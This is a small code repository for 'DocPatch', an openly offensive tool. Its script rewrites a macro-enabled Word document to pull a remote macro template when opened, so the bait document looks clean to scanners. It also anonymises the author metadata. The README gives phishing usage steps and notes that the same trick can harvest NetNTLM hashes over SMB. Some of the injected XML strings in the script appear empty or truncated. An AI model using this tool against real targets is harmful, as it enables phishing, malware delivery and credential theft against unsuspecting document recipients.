├── Pipfile
├── LICENSE
├── README.md
└── docpatch.py
/Pipfile:
--------------------------------------------------------------------------------
1 | [[source]]
2 | url = "https://pypi.org/simple"
3 | verify_ssl = true
4 | name = "pypi"
5 |
6 | [packages]
7 | click = "*"
8 | lxml = "*"
9 | zipfile = "*"
10 |
11 | [dev-packages]
12 |
13 | [requires]
14 | python_version = "3.7"
15 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | BSD 3-Clause License
2 |
3 | Copyright (c) 2022, Christopher Maddalena
4 | All rights reserved.
5 |
6 | Redistribution and use in source and binary forms, with or without
7 | modification, are permitted provided that the following conditions are met:
8 |
9 | 1. Redistributions of source code must retain the above copyright notice, this
10 | list of conditions and the following disclaimer.
11 |
12 | 2. Redistributions in binary form must reproduce the above copyright notice,
13 | this list of conditions and the following disclaimer in the documentation
14 | and/or other materials provided with the distribution.
15 |
16 | 3. Neither the name of the copyright holder nor the names of its
17 | contributors may be used to endorse or promote products derived from
18 | this software without specific prior written permission.
19 |
20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
30 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # DocPatch
2 |
3 | DocPatch is a simple script that edits the XML of a macro-enabled Word document (.docm or Word 97 document) to add a reference to a remote stylesheet. The script produces an "armed" version of the document with the remote reference. bfore creating the final document, DocPatch strips out the author/creator metadata to anonymize the document.
4 |
5 | This armed document is macroless and will appear entirely benign if scanned. When opened, the new document will try to fetch the remote stylesheet. The remote template, however, can contain a macro that will then be loaded before the document is opened. The user will see the typical "Enable Content" prompt for executing the macro.
6 |
7 | As an added benefit, web server hits will let you know the document has been opened and Word is able to call out to an external resource. Even if the macro is not enabled or fails, you will have collecting some useful information.
8 |
9 | ## Usage
10 |
11 | 1. Create a Word document with your desired macro, save it as a macro-enabled template (.dotm), and then host it somewhere. It can be hosted using HTTP/S, WebDAV, or SMB.
12 | 2. Create the Word document that will be used as your phishing bait. It can be blank, a resume, a report, or anything else. The only requirement is the document must be saved as a macro-enabled document (.dotm) or a Word 97 document.
13 | 3. Provide your template URL and your bait document to DocPatch to produce the armed version.
14 | 4. Open the document in a test environment with a copy of Office. You should see requests to your server and may notice Word's splash screen mention it is contacting a server.
15 | 5. The document should then present you with an "Enable Content" prompt for the template's macro.
16 |
17 | Note: If you use a file sharing service or something else that does not show you access logs it will be more difficult to know if your documents are landing and being opened.
18 |
19 | ### Example Command
20 |
21 | `docpatch.py --doc resume.docm --server http://127.0.0.1:8000/template.dotm`
22 |
23 | ### Alternative Usage
24 |
25 | This method can also be used to collect NetNTLM hashes using SMB.
26 |
27 | ## Installation
28 |
29 | Using pipenv for managing the required libraries is the best option to avoid Python installations getting mixed-up. Do this:
30 |
31 | 1. Run: `pip3 install --user pipenv` or `python3 -m pip install --user pipenv`
32 | 2. Clone DocPatch's repo.
33 | 3. Run: `cd DocPatch && pipenv install`
34 | 4. Start using DocPatch by running: `pipenv shell`
35 |
36 | If you would prefer to not use pipenv, the list of required packages can be found in the Pipfile file.
--------------------------------------------------------------------------------
/docpatch.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # -*- coding: utf-8 -*-
3 |
4 | """
5 | DocPatch edits macro-enabled Word documents (.dotm or Word 97 documents) to add a reference to a
6 | remote macro-enabled template in the XML. The template is loaded before the document is completely
7 | opened, so macros can be added to the template and still make use of functions like Auto_Open()
8 | while the primary document remains macroless to pass scans and basic analysis.
9 |
10 | Author: Christopher Maddalena
11 | Date: 3 December 2018
12 | """
13 |
14 |
15 | import os
16 | import sys
17 | import shutil
18 |
19 | import click
20 | import zipfile
21 | import lxml.etree
22 |
23 |
24 | def inplace_change(filename, old_string, new_string):
25 | """Opens the named file and replaces the specified string with the new string."""
26 | with open(filename) as f:
27 | s = f.read()
28 | if old_string not in s:
29 | click.secho('[!] "{old_string}" not found in {filename}.'.format(**locals()), fg="red")
30 | return
31 | with open(filename, 'w') as f:
32 | click.secho('[+] Changing "{old_string}" to "{new_string}" in {filename}'.format(**locals()), fg="green")
33 | s = s.replace(old_string, new_string)
34 | f.write(s)
35 | f.close()
36 |
37 |
38 | # Setup a class for CLICK
39 | class AliasedGroup(click.Group):
40 | """Allows commands to be called by their first unique character."""
41 |
42 | def get_command(self, ctx, cmd_name):
43 | """
44 | Allows commands to be called by their first unique character
45 | :param ctx: Context information from click
46 | :param cmd_name: Calling command name
47 | :return:
48 | """
49 | command = click.Group.get_command(self, ctx, cmd_name)
50 | if command is not None:
51 | return command
52 | matches = [x for x in self.list_commands(ctx)
53 | if x.startswith(cmd_name)]
54 | if not matches:
55 | return None
56 | elif len(matches) == 1:
57 | return click.Group.get_command(self, ctx, matches[0])
58 | ctx.fail("Too many matches: %s" % ", ".join(sorted(matches)))
59 |
60 |
61 | # That's right, we support -h and --help! Not using -h for an argument like 'host'! ;D
62 | CONTEXT_SETTINGS = dict(help_option_names=['-h', '--help'], max_content_width=200)
63 | @click.group(cls=AliasedGroup, context_settings=CONTEXT_SETTINGS)
64 |
65 | # Note: The following function descriptors will look weird and some will contain '' in spots.
66 | # This is necessary for CLICK. These are displayed with the help info and need to be written
67 | # just like we want them to be displayed in the user's terminal. Whitespace really matters.
68 |
69 | def docpatch():
70 | """The base command for DocPatch, used with the group created above."""
71 | # Everything starts here
72 | pass
73 |
74 | @docpatch.command(name='docpatch',short_help='To use DocPatch, just run `python3 docpatch.py` and answer the prompts.')
75 | @click.option('--doc', prompt='Document to arm',
76 | help='The name and file path and name of the document to edit/arm. The file should \
77 | be saved as a macro-enabled document -- .docm document or a Word 97 document.')
78 | @click.option('--server', prompt='URI for the template (.dotm) file',
79 | help='The full URI for the template (.dotm) file.')
80 | def arm(doc, server):
81 | """To use DocPatch, just run `python3 docpatch.py` and answer the prompts. You can also use the
82 | following options to declare each value on the command line.
83 | """
84 | document_name = doc
85 | # Local values for managing the unzipped Word document contents
86 | dir_name = "funnybusiness"
87 | core_xml_loc = "funnybusiness/docProps/core.xml"
88 | settings_file_loc = "funnybusiness/word/settings.xml"
89 | theme_file_loc = "funnybusiness/word/_rels/settings.xml.rels"
90 | # The XML inserted into the armed document
91 | themes_value = '\
92 | \
93 | '
95 | settings_value = ''
96 | core_xml_value = '\
97 | 12018-10-09T00:27:00Z2018-11-29T22:32:00Z'
98 | # Check if the document is a macro-enabled Word document
99 | if not document_name.split(".")[-1] == "docm":
100 | if document_name.split(".")[-1] == "docx":
101 | click.secho("[!] This document is a .docx file and will not work. You need a \
102 | macro-enabled document, either a .docm or a Word 97 document.", fg="red")
103 | else:
104 | click.secho("[*] It looks like the document you specified may not be a macro-enabled \
105 | Word document (not a .docm). This is only a warning. This will still work if you've removed the \
106 | 'm' or saved the document as a Word 97 .doc document.", fg="yellow")
107 | # Create the temporary directory for the extracted document contents
108 | if not os.path.exists(dir_name):
109 | try:
110 | click.secho("[+] Creating temporary working directory: %s" % dir_name, fg="green")
111 | os.makedirs(dir_name)
112 | except OSError as error:
113 | click.secho("[!] Could not create the reports directory!", fg="red")
114 | click.secho("L.. Details: {}".format(error), fg="red")
115 | else:
116 | click.secho("[*] Specified directory already exists: %s" % dir_name, fg="yellow")
117 | # Extract the documents contents for editing the XML
118 | click.secho("[+] Unzipping %s into %s" % (document_name, dir_name), fg="green")
119 | try:
120 | with zipfile.ZipFile(document_name, 'r') as zip_handler:
121 | zip_handler.extractall(dir_name)
122 | except Exception as error:
123 | click.secho("[!] Oops! The document could not be unzipped. Are you sure it's a valid macro-enabled Word document?", fg="red")
124 | click.secho("L.. Details: {}".format(error), fg="red")
125 | # Edit the stylesheet in settings.xml and settings.xml.rels
126 | click.secho("[+] Writing to %s..." % settings_file_loc, fg="green")
127 | inplace_change(settings_file_loc, '', settings_value)
128 | click.secho("[+] Writing to %s..." % theme_file_loc, fg="green")
129 | with open(theme_file_loc, 'w') as fh:
130 | click.secho("[*] Theme values:\n", fg="green")
131 | click.secho(themes_value + "\n", fg="green")
132 | fh.write(themes_value)
133 | # Edit docProps/core.xml to overwrite identifying metadata
134 | # Declare namespaces to be used during XML parsing
135 | dc_ns={'dc': 'http://purl.org/dc/elements/1.1/'}
136 | cp_ns={'cp': 'http://schemas.openxmlformats.org/package/2006/metadata/core-properties'}
137 | dcterms_ns={'dcterms': 'http://purl.org/dc/terms/'}
138 | # Name of the creator and last modified user
139 | user_name = "Anonymous"
140 | # Parse the XML and change the values
141 | click.secho("[+] Nuking the contents of core.xml to remove any identifying creator data:", fg="green")
142 | with open(core_xml_loc, 'r') as fh:
143 | root = lxml.etree.parse(core_xml_loc)
144 | creator = root.xpath('//dc:creator', namespaces=dc_ns)
145 | last_modified_user = root.xpath('//cp:lastModifiedBy', namespaces=cp_ns)
146 | if creator:
147 | click.secho("[*] Changing creator from {} to {}.".format(creator[0].text, user_name), fg="green")
148 | creator[0].text = user_name
149 | if last_modified_user:
150 | click.secho("[*] Changing lastModifiedBy from {} to {}.".format(last_modified_user[0].text, user_name), fg="green")
151 | last_modified_user[0].text = user_name
152 | tags = root.xpath('//cp:keywords', namespaces=cp_ns)
153 | if tags:
154 | click.secho("[*] Changing document's tags to None.", fg="green")
155 | tags[0].text = "None"
156 | description = root.xpath('//dc:description', namespaces=dc_ns)
157 | if description:
158 | click.secho("[*] Changing document's description to None.", fg="green")
159 | description[0].text = "None"
160 | created_time = root.xpath('//dcterms:created', namespaces=dcterms_ns)
161 | last_modified_time = root.xpath('//dcterms:modified', namespaces=dcterms_ns)
162 | click.secho("[*] The document's timestamps are {} (created) and {} (last modified).".format(created_time[0].text, last_modified_time[0].text), fg="green")
163 | # Write the final core.xml contents
164 | with open(core_xml_loc, 'wb') as fh:
165 | click.secho("[+] Final core.xml contents is:\n", fg="green")
166 | click.secho("{}\n".format(lxml.etree.tostring(root)), fg="green")
167 | fh.write(b'\n')
168 | fh.write(lxml.etree.tostring(root))
169 | # Reassemble the document with the new XML
170 | os.chdir(dir_name)
171 | click.secho("[+] Reassembling the document...", fg="green")
172 | with zipfile.ZipFile('../armed_%s' % document_name, 'w') as zip_handler:
173 | for root, dirs, files in os.walk('.'):
174 | for file in files:
175 | zip_handler.write(os.path.join(root, file))
176 | # Delete the temporary directory
177 | os.chdir("../")
178 | click.secho("[+] Nuking contents of temp directory, %s" % dir_name, fg="green")
179 | shutil.rmtree(dir_name)
180 | # Job is done and document is armed and ready
181 | click.secho('[+] Job\'s done! armed_%s is armed and ready. Feel free to change the extension to .doc to drop the "m" and rock and roll.' % document_name, fg="green")
182 |
183 | if __name__ == '__main__':
184 | arm()
185 |
--------------------------------------------------------------------------------